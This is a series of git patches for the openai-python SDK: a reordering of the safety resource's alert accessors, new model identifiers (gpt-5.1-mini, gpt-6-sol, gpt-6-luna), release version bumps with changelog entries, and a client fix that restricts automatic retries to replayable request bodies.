+ def alerts(self) -> AlertsWithRawResponse:
+ return AlertsWithRawResponse(self._safety.alerts)
+
class AsyncSafetyWithRawResponse:
def __init__(self, safety: AsyncSafety) -> None:
self._safety = safety
- @cached_property
- def alerts(self) -> AsyncAlertsWithRawResponse:
- return AsyncAlertsWithRawResponse(self._safety.alerts)
-
@cached_property
def cases(self) -> AsyncCasesWithRawResponse:
return AsyncCasesWithRawResponse(self._safety.cases)
+ @cached_property
+ def alerts(self) -> AsyncAlertsWithRawResponse:
+ return AsyncAlertsWithRawResponse(self._safety.alerts)
+
class SafetyWithStreamingResponse:
def __init__(self, safety: Safety) -> None:
self._safety = safety
- @cached_property
- def alerts(self) -> AlertsWithStreamingResponse:
- return AlertsWithStreamingResponse(self._safety.alerts)
-
@cached_property
def cases(self) -> CasesWithStreamingResponse:
return CasesWithStreamingResponse(self._safety.cases)
+ @cached_property
+ def alerts(self) -> AlertsWithStreamingResponse:
+ return AlertsWithStreamingResponse(self._safety.alerts)
+
class AsyncSafetyWithStreamingResponse:
def __init__(self, safety: AsyncSafety) -> None:
self._safety = safety
- @cached_property
- def alerts(self) -> AsyncAlertsWithStreamingResponse:
- return AsyncAlertsWithStreamingResponse(self._safety.alerts)
-
@cached_property
def cases(self) -> AsyncCasesWithStreamingResponse:
return AsyncCasesWithStreamingResponse(self._safety.cases)
+
+ @cached_property
+ def alerts(self) -> AsyncAlertsWithStreamingResponse:
+ return AsyncAlertsWithStreamingResponse(self._safety.alerts)
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index 81dd0dbfb8..73c9e3d269 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -360,6 +360,7 @@ class BetaResponse(BaseModel):
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index 512deea8a5..e2bdba3956 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -348,6 +348,7 @@ class ResponseCreate(BaseModel):
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index fd1510ee37..15c68e9d5c 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -348,6 +348,7 @@ class ResponseCreate(TypedDict, total=False):
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
diff --git a/src/openai/types/beta/response_compact_params.py b/src/openai/types/beta/response_compact_params.py
index d19dc81bf0..da874ef2cf 100644
--- a/src/openai/types/beta/response_compact_params.py
+++ b/src/openai/types/beta/response_compact_params.py
@@ -35,6 +35,7 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index 2c37e78a5c..b1d4b9addf 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -148,6 +148,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
diff --git a/src/openai/types/responses/response_compact_params.py b/src/openai/types/responses/response_compact_params.py
index 355ad9055e..62b4ccadcf 100644
--- a/src/openai/types/responses/response_compact_params.py
+++ b/src/openai/types/responses/response_compact_params.py
@@ -34,6 +34,7 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
diff --git a/src/openai/types/shared/chat_model.py b/src/openai/types/shared/chat_model.py
index 77fd71a969..4801c46cb6 100644
--- a/src/openai/types/shared/chat_model.py
+++ b/src/openai/types/shared/chat_model.py
@@ -25,6 +25,7 @@
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
diff --git a/src/openai/types/shared_params/chat_model.py b/src/openai/types/shared_params/chat_model.py
index c276a1d256..1a762feb97 100644
--- a/src/openai/types/shared_params/chat_model.py
+++ b/src/openai/types/shared_params/chat_model.py
@@ -27,6 +27,7 @@
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
From 8c72a700d900fb2578227df564a54462abfe67f8 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Mon, 21 Sep 2026 19:36:09 -0700
Subject: [PATCH 192/341] release: 3.17.0 (#3904)
Automated Release PR
---
##
[3.17.0](https://github.com/openai/openai-python/compare/v3.16.2...v3.17.0)
(2026-09-22)
### Features
* **api:** add external storage configuration management
([#3909](https://github.com/openai/openai-python/issues/3909))
([6332577](https://github.com/openai/openai-python/commit/6332577d3fb5f83f7f381a431460262f7192402d))
* **api:** add safety case retrieval
([#3911](https://github.com/openai/openai-python/issues/3911))
([a87b938](https://github.com/openai/openai-python/commit/a87b938545b34c1880b9914b43a5039072f40b09))
* **api:** add safety warning and deactivation webhook events
([#3908](https://github.com/openai/openai-python/issues/3908))
([19f1f37](https://github.com/openai/openai-python/commit/19f1f3769f4d2e907b6970c52f647a750de625e6))
* **api:** add session environment reset events
([#3913](https://github.com/openai/openai-python/issues/3913))
([69a2c1d](https://github.com/openai/openai-python/commit/69a2c1db6feacf32be6693809e7cab1c3b49cad7))
* **api:** add SIP media security to incoming call events
([#3907](https://github.com/openai/openai-python/issues/3907))
([c377eb2](https://github.com/openai/openai-python/commit/c377eb21f03efb223180730d6da61f9e8d500063))
* **api:** support environment variable vault credentials
([#3905](https://github.com/openai/openai-python/issues/3905))
([eeebc53](https://github.com/openai/openai-python/commit/eeebc535572dfe034e2c82958df4d0c22f94301e))
### Bug Fixes
* **api:** correct model types and network policy docs
([618bb31](https://github.com/openai/openai-python/commit/618bb312e52c2b62f75f56602b7388e6d023aa33))
* **api:** preserve model choices and defer error response docs
([#3931](https://github.com/openai/openai-python/issues/3931))
([6e7a90f](https://github.com/openai/openai-python/commit/6e7a90f18b92dcf320e94b1edf98187568ac6fbd))
* **lib:** treat null message content as empty in parse_response
([#3851](https://github.com/openai/openai-python/issues/3851))
([fab5283](https://github.com/openai/openai-python/commit/fab5283255ad76d9e79e202e1cf46b6eea783f4b))
* **lib:** use log.warning instead of the deprecated log.warn
([#3878](https://github.com/openai/openai-python/issues/3878))
([56b1708](https://github.com/openai/openai-python/commit/56b17081e22d8e168421e91bb400017ec2b0be89))
### Chores
* **api:** document API error response contracts
([#3917](https://github.com/openai/openai-python/issues/3917))
([fededc9](https://github.com/openai/openai-python/commit/fededc9e51f4fef2b251e25542766c83065373b0))
* **api:** document response management resources
([#3912](https://github.com/openai/openai-python/issues/3912))
([eaa5b77](https://github.com/openai/openai-python/commit/eaa5b77912a2c3c4feff0a734b6ca087ccf52a01))
* **deps:** bump actions/github-script from 7.1.0 to 9.0.0
([#3769](https://github.com/openai/openai-python/issues/3769))
([32e07e1](https://github.com/openai/openai-python/commit/32e07e19438abada5da5bfb530c49f385ed849d4))
* **deps:** bump actions/upload-artifact from 5.0.0 to 7.0.1
([#3767](https://github.com/openai/openai-python/issues/3767))
([b413abe](https://github.com/openai/openai-python/commit/b413abed3e9d5e998743c0b46f5011eece2dd4ed))
* **deps:** bump CodeQL init and analyze to 4.37.8
([#3765](https://github.com/openai/openai-python/issues/3765))
([f95237f](https://github.com/openai/openai-python/commit/f95237f6d132d04ee65c5af6a8891e9b9f9708e4))
* **deps:** bump CodeQL init and analyze to 4.37.8
([#3766](https://github.com/openai/openai-python/issues/3766))
([690a8b5](https://github.com/openai/openai-python/commit/690a8b5c1cb2ea8f23bcc5d23a78fd22352d6999))
* **deps:** bump httpx2 from 2.7.0 to 2.12.0 in the python-security
group across 1 directory
([#3823](https://github.com/openai/openai-python/issues/3823))
([9b8e399](https://github.com/openai/openai-python/commit/9b8e3998d99aedb446626906096ee3181a6cf62f))
* **deps:** bump openai/codex-action from 1.11 to 1.12
([#3768](https://github.com/openai/openai-python/issues/3768))
([9c1579b](https://github.com/openai/openai-python/commit/9c1579b43dba640d2586bd2f6936fa7159385821))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 32 ++++++++++++++++++++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 36 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 391333e0e9..5522caae55 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.16.2"
+ ".": "3.17.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 1380eeded8..f38f62919b 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,37 @@
# Changelog
+## [3.17.0](https://github.com/openai/openai-python/compare/v3.16.2...v3.17.0) (2026-09-22)
+
+
+### Features
+
+* **api:** add external storage configuration management ([#3909](https://github.com/openai/openai-python/issues/3909)) ([6332577](https://github.com/openai/openai-python/commit/6332577d3fb5f83f7f381a431460262f7192402d))
+* **api:** add safety case retrieval ([#3911](https://github.com/openai/openai-python/issues/3911)) ([a87b938](https://github.com/openai/openai-python/commit/a87b938545b34c1880b9914b43a5039072f40b09))
+* **api:** add safety warning and deactivation webhook events ([#3908](https://github.com/openai/openai-python/issues/3908)) ([19f1f37](https://github.com/openai/openai-python/commit/19f1f3769f4d2e907b6970c52f647a750de625e6))
+* **api:** add session environment reset events ([#3913](https://github.com/openai/openai-python/issues/3913)) ([69a2c1d](https://github.com/openai/openai-python/commit/69a2c1db6feacf32be6693809e7cab1c3b49cad7))
+* **api:** add SIP media security to incoming call events ([#3907](https://github.com/openai/openai-python/issues/3907)) ([c377eb2](https://github.com/openai/openai-python/commit/c377eb21f03efb223180730d6da61f9e8d500063))
+* **api:** support environment variable vault credentials ([#3905](https://github.com/openai/openai-python/issues/3905)) ([eeebc53](https://github.com/openai/openai-python/commit/eeebc535572dfe034e2c82958df4d0c22f94301e))
+
+
+### Bug Fixes
+
+* **api:** correct model types and network policy docs ([618bb31](https://github.com/openai/openai-python/commit/618bb312e52c2b62f75f56602b7388e6d023aa33))
+* **api:** preserve model choices and defer error response docs ([#3931](https://github.com/openai/openai-python/issues/3931)) ([6e7a90f](https://github.com/openai/openai-python/commit/6e7a90f18b92dcf320e94b1edf98187568ac6fbd))
+* **lib:** treat null message content as empty in parse_response ([#3851](https://github.com/openai/openai-python/issues/3851)) ([fab5283](https://github.com/openai/openai-python/commit/fab5283255ad76d9e79e202e1cf46b6eea783f4b))
+* **lib:** use log.warning instead of the deprecated log.warn ([#3878](https://github.com/openai/openai-python/issues/3878)) ([56b1708](https://github.com/openai/openai-python/commit/56b17081e22d8e168421e91bb400017ec2b0be89))
+
+
+### Chores
+
+* **api:** document API error response contracts ([#3917](https://github.com/openai/openai-python/issues/3917)) ([fededc9](https://github.com/openai/openai-python/commit/fededc9e51f4fef2b251e25542766c83065373b0))
+* **api:** document response management resources ([#3912](https://github.com/openai/openai-python/issues/3912)) ([eaa5b77](https://github.com/openai/openai-python/commit/eaa5b77912a2c3c4feff0a734b6ca087ccf52a01))
+* **deps:** bump actions/github-script from 7.1.0 to 9.0.0 ([#3769](https://github.com/openai/openai-python/issues/3769)) ([32e07e1](https://github.com/openai/openai-python/commit/32e07e19438abada5da5bfb530c49f385ed849d4))
+* **deps:** bump actions/upload-artifact from 5.0.0 to 7.0.1 ([#3767](https://github.com/openai/openai-python/issues/3767)) ([b413abe](https://github.com/openai/openai-python/commit/b413abed3e9d5e998743c0b46f5011eece2dd4ed))
+* **deps:** bump CodeQL init and analyze to 4.37.8 ([#3765](https://github.com/openai/openai-python/issues/3765)) ([f95237f](https://github.com/openai/openai-python/commit/f95237f6d132d04ee65c5af6a8891e9b9f9708e4))
+* **deps:** bump CodeQL init and analyze to 4.37.8 ([#3766](https://github.com/openai/openai-python/issues/3766)) ([690a8b5](https://github.com/openai/openai-python/commit/690a8b5c1cb2ea8f23bcc5d23a78fd22352d6999))
+* **deps:** bump httpx2 from 2.7.0 to 2.12.0 in the python-security group across 1 directory ([#3823](https://github.com/openai/openai-python/issues/3823)) ([9b8e399](https://github.com/openai/openai-python/commit/9b8e3998d99aedb446626906096ee3181a6cf62f))
+* **deps:** bump openai/codex-action from 1.11 to 1.12 ([#3768](https://github.com/openai/openai-python/issues/3768)) ([9c1579b](https://github.com/openai/openai-python/commit/9c1579b43dba640d2586bd2f6936fa7159385821))
+
## [3.16.2](https://github.com/openai/openai-python/compare/v3.16.1...v3.16.2) (2026-09-18)
diff --git a/pyproject.toml b/pyproject.toml
index 2104968afa..08ad420ecd 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.16.2"
+version = "3.17.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 3354846838..243ec74fbb 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.16.2" # x-release-please-version
+__version__ = "3.17.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 1325814bc6..7ca3191634 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1535,7 +1535,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.16.2" # x-release-please-version
+version = "3.17.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 455ce1b5da067e5d7631c86a571ca3b0d03b65cd Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Tue, 22 Sep 2026 18:07:00 +0000
Subject: [PATCH 193/341] feat(api): add GPT-6 Sol and Luna model identifiers
(#3935)
## Summary
Adds gpt-6-sol and gpt-6-luna to the known Chat Completions and
Responses model identifiers.
## Changes
- Add the two identifiers to Python model type hints.
- Continue accepting existing model identifiers and arbitrary model
strings.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 12 +++++-----
api_reference/openapi.transformed.yml | 2 ++
.../resources/beta/responses/responses.py | 24 +++++++++++++++++++
src/openai/resources/responses/responses.py | 4 ++++
src/openai/types/beta/beta_response.py | 2 ++
.../types/beta/beta_responses_client_event.py | 2 ++
.../beta/beta_responses_client_event_param.py | 2 ++
.../types/beta/response_compact_params.py | 2 ++
.../types/beta/response_create_params.py | 2 ++
.../responses/response_compact_params.py | 2 ++
src/openai/types/shared/chat_model.py | 2 ++
src/openai/types/shared_params/chat_model.py | 2 ++
12 files changed, 52 insertions(+), 6 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 201a0a40c4..593f552e6d 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: c4a244c7-627d-4a8f-af05-30a24293e753
-openapi_spec_hash: 3a0031a277862428a7586125d5cec8c8
-openapi_transformed_spec_hash: 951060c87157ffcd2b99d6ec617d2f6b
+generation_id: 55efa5f7-488d-441d-9d8a-122049a1529a
+openapi_spec_hash: dd4d5f4645d390dcaa730d96ff8256b9
+openapi_transformed_spec_hash: 46069ae7031d4c47bc28d2e565e74465
config_hash: 18f602826c88bad76c6fdf08ab67247a
-codegen_sha: db6da626ba89030cc5028be84182cfe435e58153
-codegen_hash: 18f31bca2b47a4635831babef446409eb6eccf6db702432e4a9cd0c0226a8b6b
-public_codegen_sha: f85015561af80beec73f1c34169d9e502399d3a8
+codegen_sha: c3ce80b15a62c6073590d3d3dae24c3add7c078d
+codegen_hash: 3558f0e3ddec29671f90a9da98e765a85fce601f27cc11fea5a4357490a845fb
+public_codegen_sha: 37caadca9e7294870cac83ccc132d1df69d06b31
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index cb49098155..daa1172db5 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -96374,6 +96374,8 @@ components:
type: string
enum:
- gpt-6-astra
+ - gpt-6-sol
+ - gpt-6-luna
- gpt-5.6-sol
- gpt-5.6-terra
- gpt-5.6-luna
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index c37f90f518..0a47ebb47d 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -124,6 +124,8 @@ def create(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -528,6 +530,8 @@ def create(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -931,6 +935,8 @@ def create(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -1332,6 +1338,8 @@ def create(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -1816,6 +1824,8 @@ def compact(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -2111,6 +2121,8 @@ async def create(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -2515,6 +2527,8 @@ async def create(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -2918,6 +2932,8 @@ async def create(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -3319,6 +3335,8 @@ async def create(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -3803,6 +3821,8 @@ async def compact(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -5178,6 +5198,8 @@ def create(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -5429,6 +5451,8 @@ async def create(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 8125b9de1a..4d587f7884 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -1748,6 +1748,8 @@ def compact(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -3635,6 +3637,8 @@ async def compact(
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index 73c9e3d269..6089aee9af 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -341,6 +341,8 @@ class BetaResponse(BaseModel):
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index e2bdba3956..6d4815ea95 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -329,6 +329,8 @@ class ResponseCreate(BaseModel):
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index 15c68e9d5c..53a97177a8 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -329,6 +329,8 @@ class ResponseCreate(TypedDict, total=False):
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
diff --git a/src/openai/types/beta/response_compact_params.py b/src/openai/types/beta/response_compact_params.py
index da874ef2cf..3586df2143 100644
--- a/src/openai/types/beta/response_compact_params.py
+++ b/src/openai/types/beta/response_compact_params.py
@@ -16,6 +16,8 @@ class ResponseCompactParams(TypedDict, total=False):
Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index b1d4b9addf..4d75cb93aa 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -129,6 +129,8 @@ class ResponseCreateParamsBase(TypedDict, total=False):
model: Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
diff --git a/src/openai/types/responses/response_compact_params.py b/src/openai/types/responses/response_compact_params.py
index 62b4ccadcf..c881d4b6b1 100644
--- a/src/openai/types/responses/response_compact_params.py
+++ b/src/openai/types/responses/response_compact_params.py
@@ -15,6 +15,8 @@ class ResponseCompactParams(TypedDict, total=False):
Union[
Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
diff --git a/src/openai/types/shared/chat_model.py b/src/openai/types/shared/chat_model.py
index 4801c46cb6..dac8f9e940 100644
--- a/src/openai/types/shared/chat_model.py
+++ b/src/openai/types/shared/chat_model.py
@@ -6,6 +6,8 @@
ChatModel: TypeAlias = Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
diff --git a/src/openai/types/shared_params/chat_model.py b/src/openai/types/shared_params/chat_model.py
index 1a762feb97..5f97eeb351 100644
--- a/src/openai/types/shared_params/chat_model.py
+++ b/src/openai/types/shared_params/chat_model.py
@@ -8,6 +8,8 @@
ChatModel: TypeAlias = Literal[
"gpt-6-astra",
+ "gpt-6-sol",
+ "gpt-6-luna",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
From b56e6d89d877309c479cb36fd4f077ce72baf3af Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Tue, 22 Sep 2026 18:20:59 +0000
Subject: [PATCH 194/341] release: 3.18.0 (#3936)
Automated Release PR
---
##
[3.18.0](https://github.com/openai/openai-python/compare/v3.17.0...v3.18.0)
(2026-09-22)
### Features
* **api:** add GPT-6 Sol and Luna model identifiers
([#3935](https://github.com/openai/openai-python/issues/3935))
([455ce1b](https://github.com/openai/openai-python/commit/455ce1b5da067e5d7631c86a571ca3b0d03b65cd))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 7 +++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 11 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 5522caae55..df3292ba24 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.17.0"
+ ".": "3.18.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index f38f62919b..777b79f3ae 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,12 @@
# Changelog
+## [3.18.0](https://github.com/openai/openai-python/compare/v3.17.0...v3.18.0) (2026-09-22)
+
+
+### Features
+
+* **api:** add GPT-6 Sol and Luna model identifiers ([#3935](https://github.com/openai/openai-python/issues/3935)) ([455ce1b](https://github.com/openai/openai-python/commit/455ce1b5da067e5d7631c86a571ca3b0d03b65cd))
+
## [3.17.0](https://github.com/openai/openai-python/compare/v3.16.2...v3.17.0) (2026-09-22)
diff --git a/pyproject.toml b/pyproject.toml
index 08ad420ecd..49b53b0b8b 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.17.0"
+version = "3.18.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 243ec74fbb..bbbb06e3ca 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.17.0" # x-release-please-version
+__version__ = "3.18.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 7ca3191634..6abb04281c 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1535,7 +1535,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.17.0" # x-release-please-version
+version = "3.18.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 6e0c2beeb639e42ff74f14135151d8bcb1e5b245 Mon Sep 17 00:00:00 2001
From: HughChaw <146055770+Hughhhhcoder@users.noreply.github.com>
Date: Tue, 22 Sep 2026 19:08:34 +0000
Subject: [PATCH 195/341] fix(client): retry only replayable request content
(#3771)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Automatic retries can reuse a consumed request body. A one-shot iterable
or non-seekable multipart file part may then send an empty body on the
retry; if that retry succeeds, the SDK reports success without resending
the original payload. Seekable streams also need their original offset
restored. The expected behavior is to retry only when every body part
can be replayed.
The retry paths currently decide whether to retry based on response
status or request failure, but do not check the replayability of
`options.content` and `options.files` or rewind seekable parts. This
patch adds one replayability guard for both synchronous and asynchronous
clients:
- bytes, bytearrays, and exact list/tuple containers remain retryable;
- opaque iterables, including wrappers that return one stored iterator,
and non-seekable streams are treated as non-replayable;
- seekable content and multipart file parts are restored to their
starting offset before retrying;
- retryable status responses, timeouts, and connection failures all use
the guard.
The patch does not buffer request bodies or change the public API.
[#3484](https://github.com/openai/openai-python/pull/3484) proposes
spooling non-seekable multipart streams to preserve retries; this PR
takes the smaller, conservative approach of not retrying a consumed
stream. The multipart checks here were added in response to review
feedback, so they are no longer out of scope.
## Additional context & links
The one-shot-content and multipart regression cases fail on the earlier
base and pass with this change. The branch has been normally merged with
current `main`, retaining the separate retry-limit and application-error
changes from [#3867](https://github.com/openai/openai-python/pull/3867).
Validation after that merge:
- `PYTHONPATH=src ./scripts/test tests/test_client.py` with the
repository's pinned Steady mock server: 275 passed, 2 skipped in each
Pydantic lane;
- `PYTHONPATH=src ./scripts/lint`: Ruff, Pyright, mypy, and import
checks passed using the documented Node.js and pnpm versions;
- `git diff --check`: passed.
---------
Co-authored-by: Marcus Wood
---
README.md | 6 +-
src/openai/_base_client.py | 74 +++++++-
tests/test_client.py | 352 ++++++++++++++++++++++++++++++++++++-
3 files changed, 422 insertions(+), 10 deletions(-)
diff --git a/README.md b/README.md
index 18c13f6230..d278292354 100644
--- a/README.md
+++ b/README.md
@@ -753,6 +753,8 @@ Certain errors are automatically retried 2 times by default, with a short expone
Connection errors (for example, due to a network connectivity problem), 408 Request Timeout, 409 Conflict,
429 Rate Limit, and >=500 Internal errors are all retried by default.
+Requests are retried only when their body can be safely resent.
+
